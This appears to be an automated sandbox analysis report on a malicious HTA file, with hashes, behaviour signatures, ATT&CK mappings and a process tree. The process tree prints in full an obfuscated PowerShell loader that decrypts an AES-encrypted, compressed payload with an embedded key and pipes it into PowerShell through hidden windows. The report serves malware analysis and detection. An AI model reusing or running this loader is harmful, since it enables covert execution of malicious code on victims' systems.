3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Analysis

max time kernel
131s
max time network
121s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
10-01-2024 21:28

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General

Target

163.5.169.28/SCAN-atoletter4.hta
Size

1.1MB
MD5

4bde59d84e71c0ff88901e353dbe3eec
SHA1

3000483b2add41716148b8e11fa283f6db6a9cf1
SHA256

992820187d1f871cb816dfb5839c0a71dfde38626d6947b4d912d04cf585454d
SHA512

38a11e2bbba9b26f5651d09f072109cb1b77717c53322a47147e1560016d409c528639be48f2044f038a6b24bad5cf0df200a83ca80c5a27d49fe5b91ecbb0b4
SSDEEP

1536:sSdyqS4pxRNGWLPcX/WhEdbVhtmr/l1vcmafSIm+lIWFXvD+v/j53mD0QMYPhgg9:ldHzpxdPcPWhqxki

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2580	powershell.exe
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2364 wrote to memory of 2224	2364	mshta.exe	17
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2224 wrote to memory of 2776	2224	powershell.exe	31
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2580	2776	cmd.exe	29
PID 2776 wrote to memory of 2644	2776	cmd.exe	28
PID 2776 wrote to memory of 2644	2776	cmd.exe	28
PID 2776 wrote to memory of 2644	2776	cmd.exe	28
PID 2776 wrote to memory of 2644	2776	cmd.exe	28

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter4.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2776

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $SWFMmek = 'AAAAAAAAAAAAAAAAAAAAACrZRvtkqB+SHe0p7lRkPZCNffnqqNClKC3So/ocYip4sIyLwLexWoYN7uQd/Ni71WfNRscuLftSXeNk7UaJGUgjzJYfkZsxtrK18RTQmLCW1pIarAJy+MJgSjZUVMYQWdzwp+win+j10i0G4ZEMS3Xwvcmtwp4oreEie4++NHNNK2xEseGT95QYttS79tMZNR2aXcwdmz1PdnPCFNNhhpyh/taE0Q+6n78bMLTSIE13KTsORNrtCzIgtr3Y0F1MB9lb8eEcPuCw7QaX9ogPRTbwqpZkgv7Y5HUJp0VxDjKql+k0p/kyTsOYemh+qvVkfCSk6ARTZtYYlK+XrkeiPImuz2YM4VwLp2nVNOX6JctQj0eiDB4VQm9iv0T+VU4hA8HLk0q8btV2B0AH8v/kyr25MRM3hDYzSanUXD7xVrSQeftYOypgt7WjJ8vNUUaoRo/O2fOth9pSsJc2PUN5u/1nv/4Qj+WJixqxHp0l9Em2HDhYTsuYx1zddhj9Fjo1g/q5KegORNjsCZpTNiQ8bZ5+3m5h7Ae23py3/VmFOHs+7jARtXTvc5QaAw8PHsDPwSLOKvttyOVKC9nRw5gMdke8E209RPYi+barMiX+Y0P6pDZX47hNfd4uxyY8pnxh1Ysda+Pkk3HMSro15we0nkfamNuIcZ8nJ3XBLA5P/MCMBjuT0W22qHkYVUta9v5eWbqcqW01JrayDLz8V4s/+gKnsbVKwzyoKLtl2cG3vRKpMIzrkc4lxk3l8hOrWqFA4t1Vwx+QeDMmheCrhjT7XLVkej9g76eA9HU2lkuHzolmO0lqP4jtT3xUaKVm5vxJBNDNWGmucLBb42Qvtj/9p4lzILR2oNWO5KzDentXeSmfn7IB+FlXrUi9slXX3mXyPhgx2Fp0HvzP5urbnjmftQaHY1jea7V8sMzWju3VTNpAUYnsOS+P15fXwV7T+C5zvH2sdtqlGPmRZC/xpTwT0CRGhfvZR2OnzvHMZ3Xj1Wi+9A72v/hxGHJ2b1bUvX50vw==';$ketcPRkA = 'U0phVmZDTVVXbkJUdW5GeHZJUFFNamlmTFpJYmtVVkQ=';$MStdDqI = New-Object 'System.Security.Cryptography.AesManaged';$MStdDqI.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MStdDqI.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MStdDqI.BlockSize = 128;$MStdDqI.KeySize = 256;$MStdDqI.Key = [System.Convert]::FromBase64String($ketcPRkA);$ebtMY = [System.Convert]::FromBase64String($SWFMmek);$tioyoVVE = $ebtMY[0..15];$MStdDqI.IV = $tioyoVVE;$UxxTAdKnB = $MStdDqI.CreateDecryptor();$SnQEJbKME = $UxxTAdKnB.TransformFinalBlock($ebtMY, 16, $ebtMY.Length - 16);$MStdDqI.Dispose();$XYnpOOa = New-Object System.IO.MemoryStream( , $SnQEJbKME );$ZfRyjXCe = New-Object System.IO.MemoryStream;$MHLhPIhJc = New-Object System.IO.Compression.GzipStream $XYnpOOa, ([IO.Compression.CompressionMode]::Decompress);$MHLhPIhJc.CopyTo( $ZfRyjXCe );$MHLhPIhJc.Close();$XYnpOOa.Close();[byte[]] $sLQaEk = $ZfRyjXCe.ToArray();$GdmkIOs = [System.Text.Encoding]::UTF8.GetString($sLQaEk);$GdmkIOs
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
9b93b4d262d31889dbd30923bc33e644

SHA1
43f13b38d1a8cb1ace69d00061d86fbd4ed49584

SHA256
9401e3af3fe5ed76566ca95e2a427b11659f41c34574c878bb6a1128d5e7d82c

SHA512
dfa7884f31e76535ccf57d52b26f270f74f9b9e1e63ba7911fd7a0fb7ec0a1aba78a338048b0f8537bb68e9e8bce4b9051999c7ee35cd65ca65161303831c3db

Download Submit
memory/2224-2-0x0000000072C80000-0x000000007322B000-memory.dmp

Filesize
5.7MB

Download
memory/2224-4-0x0000000002880000-0x00000000028C0000-memory.dmp

Filesize
256KB

Download
memory/2224-5-0x0000000002880000-0x00000000028C0000-memory.dmp

Filesize
256KB

Download
memory/2224-3-0x0000000072C80000-0x000000007322B000-memory.dmp

Filesize
5.7MB

Download
memory/2224-6-0x0000000072C80000-0x000000007322B000-memory.dmp

Filesize
5.7MB

Download
memory/2580-22-0x00000000027F0000-0x0000000002830000-memory.dmp

Filesize
256KB

Download
memory/2580-17-0x00000000726D0000-0x0000000072C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2580-25-0x00000000726D0000-0x0000000072C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2580-24-0x00000000726D0000-0x0000000072C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-19-0x00000000726D0000-0x0000000072C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-27-0x0000000002E20000-0x0000000002E60000-memory.dmp

Filesize
256KB

Download
memory/2644-29-0x00000000726D0000-0x0000000072C7B000-memory.dmp

Filesize
5.7MB

Download
memory/2644-30-0x0000000002E20000-0x0000000002E60000-memory.dmp

Filesize
256KB

Download
memory/2644-31-0x0000000002E20000-0x0000000002E60000-memory.dmp

Filesize
256KB

Download
memory/2644-32-0x00000000726D0000-0x0000000072C7B000-memory.dmp

Filesize
5.7MB

Download